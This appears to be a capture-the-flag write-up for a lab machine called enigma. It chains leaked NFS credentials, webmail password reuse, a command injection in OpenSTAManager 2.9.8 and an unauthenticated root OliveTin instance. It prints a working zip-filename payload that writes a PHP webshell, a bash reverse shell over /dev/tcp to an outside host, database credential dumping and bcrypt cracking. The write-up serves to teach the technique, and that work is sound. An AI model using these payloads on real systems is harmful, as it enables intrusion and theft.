tl;dr
an unauthenticated nfs export (/srv/nfs/onboarding) leaks an onboarding pdf with
a mail account, kevin:Enigma2024!, and a mail001 vhost. the webmail there gets
me into internal mail, password reuse and an "it support" message hand over a
second vhost support_001.enigma.htb running openstamanager 2.9.8 with
admin:Ne3s4rtars78s. openstamanager 2.9.8 has a command injection in its p7m/zip
import (cve-2025-69212): the extracted filename is dropped into a shell, so a zip
whose entry name breaks out of the quotes is rce as www-data. db creds in
config.inc.php dump the openstamanager users table; haris' bcrypt cracks to
bestfriends, and that's a local user, so su - haris, that's user. finally a
root-run olivetin instance on 127.0.0.1:1337 has auth switched off
(authRequireGuestsToLogin: false) and olivetin's whole job is running commands,
so i drive it to run one as root. that's root.
recon
nmap
full port scan first:
nmap -p- --min-rate 10000 -n -Pn 10.129.54.118
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
993/tcp open imaps
995/tcp open pop3s
2049/tcp open nfs
a full mail stack (pop3/imap + tls), plus rpcbind/nfs. added
enigma.htb to /etc/hosts. the nfs export is the thing with no auth in front of
it, so start there.
open ports / services
| port | service | notes |
|---|---|---|
| 22 | ssh | openssh |
| 80 | http | enigma corp site + webmail vhosts |
| 110/143/993/995 | pop3/imap(s) | the mail server, matters later |
| 111/2049 | rpcbind/nfs | unauth export, the foothold |
foothold path: nfs export -> mail creds (2049)
-
Vuln/vector: the box exports
/srv/nfs/onboardingto the world with no auth. it holds a "new employee access" pdf that spells out a mail account and the internal mail host, so the export is a free credential leak. -
Steps:
list and mount the export:
showmount -e 10.129.54.118
-> /srv/nfs/onboarding *
sudo mount -t nfs 10.129.54.118:/srv/nfs/onboarding /mnt/onboarding -o nolock
ls /mnt/onboarding
-> New_Employee_Access.pdf
dump the pdf to text:
pdftotext /mnt/onboarding/New_Employee_Access.pdf -
http://mail001.enigma.htb
kevin
Enigma2024!
add the vhost: 10.129.54.118 enigma.htb mail001.enigma.htb in /etc/hosts.
kevin -> support portal: webmail + password reuse (80/143)
-
Vuln/vector:
mail001is a roundcube webmail. logging in as kevin and reading the mailboxes turns up password reuse ontosarahand an "it support" message that provisions a second internal app,support_001.enigma.htb(openstamanager), with theadminpassword in plaintext. -
Steps:
log into roundcube as kevin:Enigma2024!, read the internal mail, and the it
support thread hands over the next app:
URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s
add support_001.enigma.htb to /etc/hosts and browse in, it's openstamanager,
version banner 2.9.8.
foothold: openstamanager p7m command injection, cve-2025-69212 (80)
-
Vuln/vector: openstamanager 2.9.8 imports signed
.p7mfiles out of an uploaded zip and passes each extracted entry's filename straight into a shellexec()(cve-2025-69212).$( )fires even inside the quotes, so a zip entry named to break out of the argument runs arbitrary commands as the web user,www-data. -
Steps:
build a zip whose member filename is the payload, it writes a php webshell into
the app's files/ dir:
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
name = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(name, b"DUMMY_P7M_CONTENT")upload it through the openstamanager import (imports are an admin feature, which
is why the leaked admin creds mattered), then hit the shell:
curl 'http://support_001.enigma.htb/files/SHELL.php?c=id'
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
trade it for a real reverse shell:
curl 'http://support_001.enigma.htb/files/SHELL.php?c=bash+-c+%27bash+-i+%3E%26+/dev/tcp/10.10.15.15/4444+0%3E%261%27'
nc -lvnp 4444
www-data@enigma:~/html/openstamanager/files$
www-data -> haris: db creds -> user hash crack
-
Vuln/vector: openstamanager's
config.inc.phpholds the db creds in cleartext, and the app'szz_userstable stores bcrypt password hashes. one of them,haris, is also a local unix user, so cracking it is a login. -
Steps:
pull the db creds and dump the users:
cat /var/www/html/openstamanager/config.inc.php
-> $db_username = 'brollin';
$db_password = 'Fri3nds@9099';
mysql -u brollin -p'Fri3nds@9099' openstamanager -e 'SELECT username,password FROM zz_users\G'
admin:$2y$10$rTJVUNyGGKPlhw2cFdf5Ae...
haris:$2y$10$WHf1T79sxjsZongUKT2jGe...
crack haris with rockyou:
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
-> haris:bestfriends
haris is a real user, so su across:
su - haris # bestfriends
id
uid=1001(haris) gid=1001(haris) groups=1001(haris)
user flag is in haris' home:
cat /home/haris/user.txt
- user flag:
[redacted]
haris -> root: olivetin no-auth command runner (1337)
-
Vuln/vector: a root-owned olivetin instance is bound to
127.0.0.1:1337withauthRequireGuestsToLogin: falsein/etc/OliveTin/config.yaml. olivetin's entire purpose is running pre-defined commands, and one of its configured actions shells out with a parameter that isn't sanitised, so with auth disabled i can trigger it and inject a command that runs as root. -
Steps:
find the listener and confirm what it is:
ss -tulnp | grep 1337
LISTEN 127.0.0.1:1337
curl -s http://127.0.0.1:1337/ | grep -i title
-> <title>OliveTin</title>
ps aux | grep -i olivetin
-> root /usr/local/bin/OliveTin
config confirms auth is off:
cat /etc/OliveTin/config.yaml | grep authRequireGuestsToLogin
-> authRequireGuestsToLogin: false
forward 1337 out (or just curl it from the haris shell) and fire the vulnerable action with a parameter that injects a command, olivetin runs it as root:
'; cat /root/root.txt ; '
- root flag:
[redacted]